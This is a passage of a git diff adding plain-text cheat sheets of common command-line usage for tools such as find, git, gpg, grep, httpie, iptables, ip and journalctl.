-acodec baz -b:v 21000k -b:a 320k -g 150 -threads 4 output.bar + +# Convert image sequence to video +ffmpeg -r 18 -pattern_type glob -i '*.png' -b:v 21000k -s hd1080 -vcodec vp9 -an -pix_fmt yuv420p -deinterlace output.ext + +# Combine video and audio into one file +ffmpeg -i video.ext -i audio.ext -c:v copy -c:a copy output.ext + +# Listen to 10 seconds of audio from a video file +# +# -ss : start time +# -t : seconds to cut +# -autoexit : closes ffplay as soon as the audio finishes +ffmpeg -ss 00:34:24.85 -t 10 -i path/to/file.mp4 -f mp3 pipe:play | ffplay -i pipe:play -autoexit + diff --git a/find b/find new file mode 100644 index 0000000..d1f0693 --- /dev/null +++ b/find @@ -0,0 +1,47 @@ +# To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG): +find . -iname "*.jpg" + +# To find directories: +find . -type d + +# To find files: +find . -type f + +# To find files by octal permission: +find . -type f -perm 777 + +# To find files with setuid bit set: +find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l + +# To find files with extension '.txt' and remove them: +find ./path/ -name '*.txt' -exec rm '{}' \; + +# To find files with extension '.txt' and look for a string into them: +find ./path/ -name '*.txt' | xargs grep 'string' + +# To find files with size bigger than 5 Mebibyte and sort them by size: +find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z + +# To find files bigger than 2 Megabyte and list them: +find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' + +# To find files modified more than 7 days ago and list file information +find . -type f -mtime +7d -ls + +# To find symlinks owned by a user and list file information +find . -type l --user=username -ls + +# To search for and delete empty directories +find . -type d -empty -exec rmdir {} \; + +# To search for directories named build at a max depth of 2 directories +find . -maxdepth 2 -name build -type d + +# To search all files who are not in .git directory +find . ! -iwholename '*.git*' -type f + +# To find all files that have the same node (hard link) as MY_FILE_HERE +find . -type f -samefile MY_FILE_HERE 2>/dev/null + +# To find all files in the current directory and modify their permissions +find . -type f -exec chmod 644 {} \; diff --git a/for b/for new file mode 100644 index 0000000..34902b5 --- /dev/null +++ b/for @@ -0,0 +1,35 @@ +# basic loop +for i in 1 2 3 4 5 6 7 8 9 10 +do + echo $i +done + +# loop ls command results +for var in `ls -alF` +do + echo $var +done + +# loop over all the JPG files in the current directory +for jpg_file in *.jpg +do + echo $jpg_file +done + +# loop specified number of times +for i in `seq 1 10` +do + echo $i +done + +# loop specified number of times: the C/C++ style +for ((i=1;i<=10;++i)) +do + echo $i +done + +# loop specified number of times: the brace expansion +for i in {1..10} +do + echo $i +done diff --git a/gcc b/gcc new file mode 100644 index 0000000..1ada6da --- /dev/null +++ b/gcc @@ -0,0 +1,21 @@ +# Compile a file +gcc file.c + +# Compile a file with a custom output +gcc -o file file.c + +# Debug symbols +gcc -g + +# Debug with all symbols. +gcc -ggdb3 + +# Build for 64 bits +gcc -m64 + +# Include the directory {/usr/include/myPersonnal/lib/} to the list of path for #include <....> +# With this option, no warning / error will be reported for the files in {/usr/include/myPersonnal/lib/} +gcc -isystem /usr/include/myPersonnal/lib/ + +# Build a GUI for windows (Mingw) (Will disable the term/console) +gcc -mwindows diff --git a/gdb b/gdb new file mode 100644 index 0000000..76ef67e --- /dev/null +++ b/gdb @@ -0,0 +1,26 @@ +# start the debugger +gdb your-executable + +# set a breakpoint +b some-method, break some-method + +# run the program +r, run + +# when a breakpoint was reached: + +# run the current line, stepping over any invocations +n, next +# run the current line, stepping into any invocations +s, step +# print a stacktrace +bt, backtrace +# evaluate an expression and print the result +p length=strlen(string) +# list surrounding source code +l, list +# continue execution +c, continue + +# exit gdb (after program terminated) +q, quit diff --git a/git b/git new file mode 100644 index 0000000..56a8ab7 --- /dev/null +++ b/git @@ -0,0 +1,151 @@ +# To set your identity: +git config --global user.name "John Doe" +git config --global user.email johndoe@example.com + +# To set your editor: +git config --global core.editor emacs + +# To enable color: +git config --global color.ui true + +# To stage all changes for commit: +git add --all + +# To stash changes locally, this will keep the changes in a separate changelist +# called stash and the working directory is cleaned. You can apply changes +# from the stash anytime +git stash + +# To stash changes with a message +git stash save "message" + +# To list all the stashed changes +git stash list + +# To apply the most recent change and remove the stash from the stash list +git stash pop + +# To apply any stash from the list of stashes. This does not remove the stash +# from the stash list +git stash apply stash@{6} + +# To commit staged changes +git commit -m "Your commit message" + +# To edit previous commit message +git commit --amend + +# Git commit in the past +git commit --date="`date --date='2 day ago'`" +git commit --date="Jun 13 18:30:25 IST 2015" +# more recent versions of Git also support --date="2 days ago" directly + +# To change the date of an existing commit +git filter-branch --env-filter \ + 'if [ $GIT_COMMIT = 119f9ecf58069b265ab22f1f97d2b648faf932e0 ] + then + export GIT_AUTHOR_DATE="Fri Jan 2 21:38:53 2009 -0800" + export GIT_COMMITTER_DATE="Sat May 19 01:01:01 2007 -0700" + fi' + +# To removed staged and working directory changes +git reset --hard + +# To go 2 commits back +git reset --hard HEAD~2 + +# To remove untracked files +git clean -f -d + +# To remove untracked and ignored files +git clean -f -d -x + +# To push to the tracked master branch: +git push origin master + +# To push to a specified repository: +git push git@github.com:username/project.git + +# To delete the branch "branch_name" +git branch -D branch_name + +# To make an exisiting branch track a remote branch +git branch -u upstream/foo + +# To see who commited which line in a file +git blame filename + +# To sync a fork with the master repo: +git remote add upstream git@github.com:name/repo.git # Set a new repo +git remote -v # Confirm new remote repo +git fetch upstream # Get branches +git branch -va # List local - remote branches +git checkout master # Checkout local master branch +git checkout -b new_branch # Create and checkout a new branch +git merge upstream/master # Merge remote into local repo +git show 83fb499 # Show what a commit did. +git show 83fb499:path/fo/file.ext # Shows the file as it appeared at 83fb499. +git diff branch_1 branch_2 # Check difference between branches +git log # Show all the commits +git status # Show the changes from last commit + +# Commit history of a set of files +git log --pretty=email --patch-with-stat --reverse --full-index -- Admin\*.py > Sripts.patch + +# Import commits from another repo +git --git-dir=../some_other_repo/.git format-patch -k -1 --stdout | git am -3 -k + +# View commits that will be pushed +git log @{u}.. + +# View changes that are new on a feature branch +git log -p feature --not master +git diff master...feature + +# Interactive rebase for the last 7 commits +git rebase -i @~7 + +# Diff files WITHOUT considering them a part of git +# This can be used to diff files that are not in a git repo! +git diff --no-index path/to/file/A path/to/file/B + +# To pull changes while overwriting any local commits +git fetch --all +git reset --hard origin/master + +# Update all your submodules +git submodule update --init --recursive + +# Perform a shallow clone to only get latest commits +# (helps save data when cloning large repos) +git clone --depth 1 + +# To unshallow a clone +git pull --unshallow + +# Create a bare branch (one that has no commits on it) +git checkout --orphan branch_name + +# Checkout a new branch from a different starting point +git checkout -b master upstream/master + +# Remove all stale branches (ones that have been deleted on remote) +# So if you have a lot of useless branches, delete them on Github and then run this +git remote prune origin + +# The following can be used to prune all remotes at once +git remote prune $(git remote | tr '\n' ' ') + +# Revisions can also be identified with :/text +# So, this will show the first commit that has "cool" in their message body +git show :/cool + +# Undo parts of last commit in a specific file +git checkout -p HEAD^ -- /path/to/file + +# Revert a commit and keep the history of the reverted change as a separate revert commit +git revert + +# Pich a commit from a branch to current branch. This is different than merge as +# this just applies a single commit from a branch to current branch +git cherry-pick diff --git a/gpg b/gpg new file mode 100644 index 0000000..53acf3c --- /dev/null +++ b/gpg @@ -0,0 +1,173 @@ +# Create a key + + gpg --gen-key + + +# Show keys + + To list a summary of all keys + + gpg --list-keys + + To show your public key + + gpg --armor --export + + To show the fingerprint for a key + + gpg --fingerprint KEY_ID + +# Search for keys + + gpg --search-keys 'user@emailaddress.com' + + +# To Encrypt a File + + gpg --encrypt --recipient 'user@emailaddress.com' example.txt + + +# To Decrypt a File + + gpg --output example.txt --decrypt example.txt.gpg + + +# Export keys + + gpg --output ~/public_key.txt --armor --export KEY_ID + gpg --output ~/private_key.txt --armor --export-secret-key KEY_ID + + Where KEY_ID is the 8 character GPG key ID. + + Store these files to a safe location, such as a USB drive, then + remove the private key file. + + shred -zu ~/private_key.txt + +# Import keys + + Retrieve the key files which you previously exported. + + gpg --import ~/public_key.txt + gpg --allow-secret-key-import --import ~/private_key.txt + + Then delete the private key file. + + shred -zu ~/private_key.txt + +# Revoke a key + + Create a revocation certificate. + + gpg --output ~/revoke.asc --gen-revoke KEY_ID + + Where KEY_ID is the 8 character GPG key ID. + + After creating the certificate import it. + + gpg --import ~/revoke.asc + + Then ensure that key servers know about the revokation. + + gpg --send-keys KEY_ID + +# Signing and Verifying files + + If you're uploading files to launchpad you may also want to include + a GPG signature file. + + gpg -ba filename + + or if you need to specify a particular key: + + gpg --default-key -ba filename + + This then produces a file with a .asc extension which can be uploaded. + If you need to set the default key more permanently then edit the + file ~/.gnupg/gpg.conf and set the default-key parameter. + + To verify a downloaded file using its signature file. + + gpg --verify filename.asc + +# Signing Public Keys + + Import the public key or retrieve it from a server. + + gpg --keyserver --recv-keys + + Check its fingerprint against any previously stated value. + + gpg --fingerprint + + Sign the key. + + gpg --sign-key + + Upload the signed key to a server. + + gpg --keyserver --send-key + +# Change the email address associated with a GPG key + + gpg --edit-key + adduid + + Enter the new name and email address. You can then list the addresses with: + + list + + If you want to delete a previous email address first select it: + + uid + + Then delete it with: + + deluid + + To finish type: + + save + + Publish the key to a server: + + gpg --send-keys + +# Creating Subkeys + + Subkeys can be useful if you don't wish to have your main GPG key + installed on multiple machines. In this way you can keep your + master key safe and have subkeys with expiry periods or which may be + separately revoked installed on various machines. This avoids + generating entirely separate keys and so breaking any web of trust + which has been established. + + gpg --edit-key + + At the prompt type: + + addkey + + Choose RSA (sign only), 4096 bits and select an expiry period. + Entropy will be gathered. + + At the prompt type: + + save + + You can also repeat the procedure, but selecting RSA (encrypt only). + To remove the master key, leaving only the subkey/s in place: + + gpg --export-secret-subkeys > subkeys + gpg --export > pubkeys + gpg --delete-secret-key + + Import the keys back. + + gpg --import pubkeys subkeys + + Verify the import. + + gpg -K + + Should show sec# instead of just sec. diff --git a/grep b/grep new file mode 100644 index 0000000..8c41057 --- /dev/null +++ b/grep @@ -0,0 +1,29 @@ +# Search a file for a pattern +grep pattern file + +# Case insensitive search (with line numbers) +grep -in pattern file + +# Recursively grep for string in folder: +grep -R pattern folder + +# Read search patterns from a file (one per line) +grep -f pattern_file file + +# Find lines NOT containing pattern +grep -v pattern file + +# You can grep with regular expressions +grep "^00" file #Match lines starting with 00 +grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" file #Find IP add + +# Find all files which match {pattern} in {directory} +# This will show: "file:line my research" +grep -rnw 'directory' -e "pattern" + +# Exclude grep from your grepped output of ps. +# Add [] to the first letter. Ex: sshd -> [s]shd +ps aux | grep '[h]ttpd' + +# Colour in red {bash} and keep all other lines +ps aux | grep -E --color 'bash|$' diff --git a/gs b/gs new file mode 100644 index 0000000..a62ac97 --- /dev/null +++ b/gs @@ -0,0 +1,3 @@ +# To reduce the size of a pdf file: +gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=output.pdf input.pdf + diff --git a/gyb b/gyb new file mode 100644 index 0000000..2fe9f8a --- /dev/null +++ b/gyb @@ -0,0 +1,12 @@ +# To estimate the number and the size of all mails on youremail@gmail.com +gyb --email youremail@gmail.com --action estimate + +# To backup from youremail@gmail.com to your local-folder +gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/" + +# To backup from youremail@gmail.com only important or starred emails to the +# default local folder GYB-GMail-Backup-youremail@gmail.com +gyb --email youremail@gmail.com --search "is:important OR is:starred" + +# To restore from your local-folder to youremail@gmail.com +gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/" diff --git a/gzip b/gzip new file mode 100644 index 0000000..30dee79 --- /dev/null +++ b/gzip @@ -0,0 +1,17 @@ +# To create a *.gz compressed file +gzip test.txt + +# To create a *.gz compressed file to a specific location using -c option (standard out) +gzip -c test.txt > test_custom.txt.gz + +# To uncompress a *.gz file +gzip -d test.txt.gz + +# Display compression ratio of the compressed file using gzip -l +gzip -l *.gz + +# Recursively compress all the files under a specified directory +gzip -r documents_directory + +# To create a *.gz compressed file and keep the original +gzip < test.txt > test.txt.gz diff --git a/hardware-info b/hardware-info new file mode 100644 index 0000000..0bf4e57 --- /dev/null +++ b/hardware-info @@ -0,0 +1,32 @@ +# Display all hardware details +sudo lshw + +# List currently loaded kernel modules +lsmod + +# List all modules available to the system +find /lib/modules/$(uname -r) -type f -iname "*.ko" + +# Load a module into kernel +modprobe modulename + +# Remove a module from kernel +modprobe -r modulename + +# List devices connected via pci bus +lspci + +# Debug output for pci devices (hex) +lspci -vvxxx + +# Display cpu hardware stats +cat /proc/cpuinfo + +# Display memory hardware stats +cat /proc/meminfo + +# Output the kernel ring buffer +dmesg + +# Ouput kernel messages +dmesg --kernel diff --git a/head b/head new file mode 100644 index 0000000..0cb3c78 --- /dev/null +++ b/head @@ -0,0 +1,8 @@ +# To show the first 10 lines of file +head file + +# To show the first N lines of file +head -n N file + +# To show the first N bytes of file +head -c N file diff --git a/hg b/hg new file mode 100644 index 0000000..8cfbaf2 --- /dev/null +++ b/hg @@ -0,0 +1,20 @@ +# Clone a directory +hg clone + +# Add files to hg tracker +hg add filename + +# Add all files in a folder to hg tracker +hg add folder/ + +# Create a commit with all tracked changes and a message +hg commit -m "message" + +# Push commits to source repository +hg push + +# Pull changes from source repository +hg pull + +# Rebase local commits to disambiguate with remote repository +hg pull --rebase diff --git a/history b/history new file mode 100644 index 0000000..32320e0 --- /dev/null +++ b/history @@ -0,0 +1,3 @@ +# To see most used top 10 commands: +history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10 + diff --git a/http b/http new file mode 100644 index 0000000..b6a4ca5 --- /dev/null +++ b/http @@ -0,0 +1,195 @@ +# Custom HTTP method HTTP headers and JSON data: +http PUT example.org X-API-Token:123 name=John + +# Submitting forms: +http -f POST example.org hello=World + +# See the request that is being sent using one of the output options: +http -v example.org + +# Use Github API to post a comment on an issue with authentication: +http -a USERNAME POST https://api.github.com/repos/jkbrzt/httpie/issues/83/comments body='HTTPie is awesome!' + +# Upload a file using redirected input: +http example.org < file.json + +# Download a file and save it via redirected output: +http example.org/file > file + +# Download a file wget style: +http --download example.org/file + +# Use named sessions_ to make certain aspects or the communication +# persistent between requests to the same host: +# http --session=logged-in -a username:password httpbin.org/get API-Key:123 +http --session=logged-in httpbin.org/headers + +# Set a custom Host header to work around missing DNS records: +http localhost:8000 Host:example.com + +# Simple JSON example: +http PUT example.org name=John email=john@example.org + +# Non-string fields use the := separator, which allows you to embed raw +# JSON into the resulting object. Text and raw JSON files can also be +# embedded into fields using =@ and :=@: +http PUT api.example.com/person/1 name=John age:=29 married:=false hobbies:='["http", "pies"]' description=@about-john.txt bookmarks:=@bookmarks.json + +# Send JSON data stored in a file: +http POST api.example.com/person/1 < person.json + +# Regular Forms +http --form POST api.example.org/person/1 name='John Smith' email=john@example.org cv=@~/Documents/cv.txt + +# File Upload Forms +# If one or more file fields is present, the serialization and content +# type is multipart/form-data: +http -f POST example.com/jobs name='John Smith' cv@~/Documents/cv.pdf + +# To set custom headers you can use the Header:Value notation: +http example.org User-Agent:Bacon/1.0 'Cookie:valued-visitor=yes;foo=bar' X-Foo:Bar Referer:http://httpie.org/ + +# Basic auth: +http -a username:password example.org + +# Digest auth: +http --auth-type=digest -a username:password example.org + +# With password prompt: +http -a username example.org + +# Authorization information from your ~/.netrc file is honored as well: +cat ~/.netrc + machine httpbin.org + login httpie + # password test +http httpbin.org/basic-auth/httpie/test + +# You can specify proxies to be used through the --proxy argument for each +# protocol (which is included in the value in case of redirects across +# protocols): +http --proxy=http:http://10.10.1.10:3128 --proxy=https:https://10.10.1.10:1080 example.org + +# With Basic authentication: +http --proxy=http:http://user:pass@10.10.1.10:3128 example.org + +# To skip the HOST'S SSL CERTIFICATE VERIFICATION, you can pass +# --verify=no (default is yes): +http --verify=no https://example.org + +# You can also use --verify= to set a CUSTOM CA BUNDLE path: +http --verify=/ssl/custom_ca_bundle https://example.org + +# To use a CLIENT SIDE CERTIFICATE for the SSL communication, you can pass +# the path of the cert file with --cert: +http --cert=client.pem https://example.org + +# If the PRIVATE KEY is not contained in the cert file you may pass the +# path of the key file with --cert-key: +http --cert=client.crt --cert-key=client.key https://example.org + +# You can control what should be printed via several options: + # --headers, -h Only the response headers are printed. + # --body, -b Only the response body is printed. + # --verbose, -v Print the whole HTTP exchange (request and response). + # --print, -p Selects parts of the HTTP exchange. +http --verbose PUT httpbin.org/put hello=world + +# Print request and response headers: + # Character Stands for + # ----------- ------------------- + # H Request headers. + # B Request body. + # h Response headers. + # b Response body. +http --print=Hh PUT httpbin.org/put hello=world + +# Let's say that there is an API that returns the whole resource when it +# is updated, but you are only interested in the response headers to see +# the status code after an update: +http --headers PATCH example.org/Really-Huge-Resource name='New Name' + +# Redirect from a file: +http PUT example.com/person/1 X-API-Token:123 < person.json + +# Or the output of another program: +grep '401 Unauthorized' /var/log/httpd/error_log | http POST example.org/intruders + +# You can use echo for simple data: +echo '{"name": "John"}' | http PATCH example.com/person/1 X-API-Token:123 + +# You can even pipe web services together using HTTPie: +http GET https://api.github.com/repos/jkbrzt/httpie | http POST httpbin.org/post + +# You can use cat to enter multiline data on the terminal: +cat | http POST example.com + + # ^D +cat | http POST example.com/todos Content-Type:text/plain + - buy milk + - call parents + ^D + +# On OS X, you can send the contents of the clipboard with pbpaste: +pbpaste | http PUT example.com + +# Passing data through stdin cannot be combined with data fields specified +# on the command line: +echo 'data' | http POST example.org more=data # This is invalid + + +# AN ALTERNATIVE TO REDIRECTED stdin is specifying a filename (as +# @/path/to/file) whose content is used as if it came from stdin. + +# It has the advantage that THE Content-Type HEADER IS AUTOMATICALLY SET +# to the appropriate value based on the filename extension. For example, +# the following request sends the verbatim contents of that XML file with +# Content-Type: application/xml: +http PUT httpbin.org/put @/data/file.xml + +# Download a file: +http example.org/Movie.mov > Movie.mov + +# Download an image of Octocat, resize it using ImageMagick, upload it +# elsewhere: +http octodex.github.com/images/original.jpg | convert - -resize 25% - | http example.org/Octocats + +# Force colorizing and formatting, and show both the request and the +# response in less pager: +http --pretty=all --verbose example.org | less -R + +# When enabled using the --download, -d flag, response headers are printed +# to the terminal (stderr), and a progress bar is shown while the response +# body is being saved to a file. +http --download https://github.com/jkbrzt/httpie/tarball/master + +# You can also redirect the response body to another program while the +# response headers and progress are still shown in the terminal: +http -d https://github.com/jkbrzt/httpie/tarball/master | tar zxf - + +# If --output, -o is specified, you can resume a partial download using +# the --continue, -c option. This only works with servers that support +# Range requests and 206 Partial Content responses. If the server doesn't +# support that, the whole file will simply be downloaded: +http -dco file.zip example.org/file + +# Prettified streamed response: +http --stream -f -a YOUR-TWITTER-NAME https://stream.twitter.com/1/statuses/filter.json track='Justin Bieber' + +# Send each new tweet (JSON object) mentioning "Apple" to another +# server as soon as it arrives from the Twitter streaming API: +http --stream -f -a YOUR-TWITTER-NAME https://stream.twitter.com/1/statuses/filter.json track=Apple | while read tweet; do echo "$tweet" | http POST example.org/tweets ; done + +# Create a new session named user1 for example.org: +http --session=user1 -a user1:password example.org X-Foo:Bar + +# Now you can refer to the session by its name, and the previously used +# authorization and HTTP headers will automatically be set: +http --session=user1 example.org + +# To create or reuse a different session, simple specify a different name: +http --session=user2 -a user2:password example.org X-Bar:Foo + +# Instead of a name, you can also directly specify a path to a session +# file. This allows for sessions to be re-used across multiple hosts: +http --session=/tmp/session.json example.orghttp --session=/tmp/session.json admin.example.orghttp --session=~/.httpie/sessions/another.example.org/test.json example.orghttp --session-read-only=/tmp/session.json example.org diff --git a/hub b/hub new file mode 100644 index 0000000..22cfeab --- /dev/null +++ b/hub @@ -0,0 +1,74 @@ +As a contributor to open-source +------------------------------- + +# clone your own project +$ git clone dotfiles +→ git clone git://github.com/YOUR_USER/dotfiles.git + +# clone another project +$ git clone github/hub +→ git clone git://github.com/github/hub.git + +# see the current project's issues +$ git browse -- issues +→ open https://github.com/github/hub/issues + +# open another project's wiki +$ git browse mojombo/jekyll wiki +→ open https://github.com/mojombo/jekyll/wiki + +## Example workflow for contributing to a project: +$ git clone github/hub +$ cd hub +# create a topic branch +$ git checkout -b feature +→ ( making changes ... ) +$ git commit -m "done with feature" +# It's time to fork the repo! +$ git fork +→ (forking repo on GitHub...) +→ git remote add YOUR_USER git://github.com/YOUR_USER/hub.git +# push the changes to your new remote +$ git push YOUR_USER feature +# open a pull request for the topic branch you've just pushed +$ git pull-request +→ (opens a text editor for your pull request message) + + +As an open-source maintainer +---------------------------- + +# fetch from multiple trusted forks, even if they don't yet exist as remotes +$ git fetch mislav,cehoffman +→ git remote add mislav git://github.com/mislav/hub.git +→ git remote add cehoffman git://github.com/cehoffman/hub.git +→ git fetch --multiple mislav cehoffman + +# check out a pull request for review +$ git checkout https://github.com/github/hub/pull/134 +→ (creates a new branch with the contents of the pull request) + +# directly apply all commits from a pull request to the current branch +$ git am -3 https://github.com/github/hub/pull/134 + +# cherry-pick a GitHub URL +$ git cherry-pick https://github.com/xoebus/hub/commit/177eeb8 +→ git remote add xoebus git://github.com/xoebus/hub.git +→ git fetch xoebus +→ git cherry-pick 177eeb8 + +# `am` can be better than cherry-pick since it doesn't create a remote +$ git am https://github.com/xoebus/hub/commit/177eeb8 + +# open the GitHub compare view between two releases +$ git compare v0.9..v1.0 + +# put compare URL for a topic branch to clipboard +$ git compare -u feature | pbcopy + +# create a repo for a new project +$ git init +$ git add . && git commit -m "It begins." +$ git create -d "My new thing" +→ (creates a new project on GitHub with the name of current directory) +$ git push origin master diff --git a/iconv b/iconv new file mode 100644 index 0000000..7b20584 --- /dev/null +++ b/iconv @@ -0,0 +1,3 @@ +# To convert file (iconv.src) from iso-8859-1 to utf-8 and save to +# /tmp/iconv.out +iconv -f iso-8859-1 -t utf-8 iconv.src -o /tmp/iconv.out diff --git a/ifconfig b/ifconfig new file mode 100644 index 0000000..32da1a2 --- /dev/null +++ b/ifconfig @@ -0,0 +1,14 @@ +# Display network settings of the first ethernet adapter +ifconfig wlan0 + +# Display all interfaces, even if down +ifconfig -a + +# Take down / up the wireless adapter +ifconfig wlan0 {up|down} + +# Set a static IP and netmask +ifconfig eth0 192.168.1.100 netmask 255.255.255.0 + +# You may also need to add a gateway IP +route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 diff --git a/indent b/indent new file mode 100644 index 0000000..d8568e6 --- /dev/null +++ b/indent @@ -0,0 +1,2 @@ +# format C/C++ source according to the style of Kernighan and Ritchie (K&R), no tabs, 3 spaces per indent, wrap lines at 120 characters. +indent -i3 -kr -nut -l120 diff --git a/ip b/ip new file mode 100644 index 0000000..a0f20cd --- /dev/null +++ b/ip @@ -0,0 +1,32 @@ +# Display all interfaces with addresses +ip addr + +# Take down / up the wireless adapter +ip link set dev wlan0 {up|down} + +# Set a static IP and netmask +ip addr add 192.168.1.100/32 dev eth0 + +# Remove a IP from an interface +ip addr del 192.168.1.100/32 dev eth0 + +# Remove all IPs from an interface +ip address flush dev eth0 + +# Display all routes +ip route + +# Display all routes for IPv6 +ip -6 route + +# Add default route via gateway IP +ip route add default via 192.168.1.1 + +# Add route via interface +ip route add 192.168.0.0/24 dev eth0 + +# Change your mac address +ip link set dev eth0 address aa:bb:cc:dd:ee:ff + +# View neighbors (using ARP and NDP) +ip neighbor show diff --git a/iptables b/iptables new file mode 100644 index 0000000..2e0a132 --- /dev/null +++ b/iptables @@ -0,0 +1,40 @@ +# Show hit for rules with auto refresh +watch --interval 0 'iptables -nvL | grep -v "0 0"' + +# Show hit for rule with auto refresh and highlight any changes since the last refresh +watch -d -n 2 iptables -nvL + +# Block the port 902 and we hide this port from nmap. +iptables -A INPUT -i eth0 -p tcp --dport 902 -j REJECT --reject-with icmp-port-unreachable + +# Note, --reject-with accept: +# icmp-net-unreachable +# icmp-host-unreachable +# icmp-port-unreachable <- Hide a port to nmap +# icmp-proto-unreachable +# icmp-net-prohibited +# icmp-host-prohibited or +# icmp-admin-prohibited +# tcp-reset + +# Add a comment to a rule: +iptables ... -m comment --comment "This rule is here for this reason" + + +# To remove or insert a rule: +# 1) Show all rules +iptables -L INPUT --line-numbers +# OR iptables -nL --line-numbers + +# Chain INPUT (policy ACCEPT) +# num target prot opt source destination +# 1 ACCEPT udp -- anywhere anywhere udp dpt:domain +# 2 ACCEPT tcp -- anywhere anywhere tcp dpt:domain +# 3 ACCEPT udp -- anywhere anywhere udp dpt:bootps +# 4 ACCEPT tcp -- anywhere anywhere tcp dpt:bootps + +# 2.a) REMOVE (-D) a rule. (here an INPUT rule) +iptables -D INPUT 2 + +# 2.b) OR INSERT a rule. +iptables -I INPUT {LINE_NUMBER} -i eth1 -p tcp --dport 21 -s 123.123.123.123 -j ACCEPT -m comment --comment "This rule is here for this reason" diff --git a/irssi b/irssi new file mode 100644 index 0000000..171af8a --- /dev/null +++ b/irssi @@ -0,0 +1,33 @@ +# To connect to an IRC server +/connect + +# To join a channel +/join # + +# To set a nickname +/nick + +# To send a private message to a user +/msg + +# To close the current channel window +/wc + +# To switch between channel windows +ALT+, eg. ALT+1, ALT+2 + +# To list the nicknames within the active channel +/names + +# To change the channel topic +/topic + +# To limit channel background noise (joins, parts, quits, etc.) +/ignore #foo,#bar JOINS PARTS QUITS NICKS # Quieten only channels `#foo`, `#bar` +/ignore * JOINS PARTS QUITS NICKS # Quieten all channels + +# To save the current Irssi session config into the configuration file +/save + +# To quit Irssi +/exit diff --git a/iwconfig b/iwconfig new file mode 100644 index 0000000..e8e4538 --- /dev/null +++ b/iwconfig @@ -0,0 +1,8 @@ +# Display wireless settings of the first wireless adapter +iwconfig wlan0 + +# Take down / up the wireless adapter +iwconfig wlan0 txpower {on|auto|off} + +# Change the mode of the wireless adapter +iwconfig wlan0 mode {managed|ad-hoc|monitor} diff --git a/journalctl b/journalctl new file mode 100644 index 0000000..0a28bc4 --- /dev/null +++ b/journalctl @@ -0,0 +1,32 @@ +# Actively follow log (like tail -f) +journalctl -f + +# Display all errors since last boot +journalctl -b -p err + +# Filter by time period +journalctl --since=2012-10-15 --until="2011-10-16 23:59:59" + +# Show list of systemd units logged in journal +journalctl -F _SYSTEMD_UNIT + +# Filter by specific unit +journalctl -u dbus + +# Filter by executable name +journalctl /usr/bin/dbus-daemon + +# Filter by PID +journalctl _PID=123 + +# Filter by Command, e.g., sshd +journalctl _COMM=sshd + +# Filter by Command and time period +journalctl _COMM=crond --since '10:00' --until '11:00' + +# List all available boots +journalctl --list-boots + +# Filter by specific User ID e.g., user id 1000 +journalctl _UID=1000 diff --git a/jq b/jq new file mode 100644 index 0000000..d57cc13 --- /dev/null +++ b/jq @@ -0,0 +1,13 @@ +# Pretty print the json +jq "." < filename.json + +# Access the value at key "foo" +jq '.foo' + +# Access first list item +jq '.[0]' + +# Slice & Dice +jq '.[2:4]' +jq '.[:3]' +jq '.[-2:]' diff --git a/jrnl b/jrnl new file mode 100644 index 0000000..c3540e2 --- /dev/null +++ b/jrnl @@ -0,0 +1,25 @@ +# Add entry to default jrnl (from your configured text editor) +jrnl + +# Add entry to default jrnl +jrnl Write entry here. + +# List of tags +jrnl --tags + +# Entries per tag +jrnl @tag + +# Export jrnl as json +jrnl --export json + +# Entries in a timeframe +jrnl -from 2009 -until may + +# Add Sublime text to .jrnl_config + +# Windows +"editor": "F:\\Powerpack\\Sublime\\sublime_text.exe -w" + +# Linux +"editor": "/usr/bin/sublime -w" diff --git a/kill b/kill new file mode 100644 index 0000000..d80510e --- /dev/null +++ b/kill @@ -0,0 +1,5 @@ +# Kill a process gracefully +kill -15 + +# Kill a process forcefully +kill -9 diff --git a/less b/less new file mode 100644 index 0000000..55a7555 --- /dev/null +++ b/less @@ -0,0 +1,9 @@ +# To disable the terminal refresh when exiting +less -X + +# To save the contents to a file +# Method 1 - Only works when the input is a pipe +s + +# Method 2 - This should work whether input is a pipe or an ordinary file. +Type g or < (g or less-than) | $ (pipe then dollar) then cat > and Enter. diff --git a/lib b/lib new file mode 100644 index 0000000..6854482 --- /dev/null +++ b/lib @@ -0,0 +1,23 @@ +# Display available libraries +ldconfig -p + +# Update library resources +ldconfig + +# Display libraries and file location +ldd + +# Libraries available to apps in real-time +"Dynamic Libraries" (.so.) + +# Libraries only available to apps when installed (imported) +"Static Libraries" (.a.) + +# Standard (usual) library file location +/lib + +# Sofware-accessible source for library info +/etc/ld.so.cache # (binary) + +# Human-readable source for library info +/etc/ld.so.conf # (points to /etc/ld.so.conf.d) diff --git a/ln b/ln new file mode 100644 index 0000000..5a02f76 --- /dev/null +++ b/ln @@ -0,0 +1,5 @@ +# To create a symlink: +ln -s path/to/the/target/directory name-of-symlink + +# Symlink, while overwriting existing destination files +ln -sf /some/dir/exec /usr/bin/exec diff --git a/ls b/ls new file mode 100644 index 0000000..41a116a --- /dev/null +++ b/ls @@ -0,0 +1,17 @@ +# Displays everything in the target directory +ls path/to/the/target/directory + +# Displays everything including hidden files +ls -a + +# Displays all files, along with the size (with unit suffixes) and timestamp +ls -lh + +# Display files, sorted by size +ls -S + +# Display directories only +ls -d */ + +# Display directories only, include hidden +ls -d .*/ */ diff --git a/lsblk b/lsblk new file mode 100644 index 0000000..b40fe86 --- /dev/null +++ b/lsblk @@ -0,0 +1,21 @@ +# Show all available block devices along with their partitioning schemes +lsblk + +# To show SCSI devices: +lsblk --scsi + +# To show a specific device +lsblk /dev/sda + +# To verify TRIM support: +# Check the values of DISC-GRAN (discard granularity) and DISC-MAX (discard max bytes) columns. +# Non-zero values indicate TRIM support +lsblk --discard + +# To featch info about filesystems: +lsblk --fs + +# For JSON, LIST or TREE output formats use the following flags: +lsblk --json +lsblk --list +lsblk --tree # default view diff --git a/lsof b/lsof new file mode 100644 index 0000000..8d11e3f --- /dev/null +++ 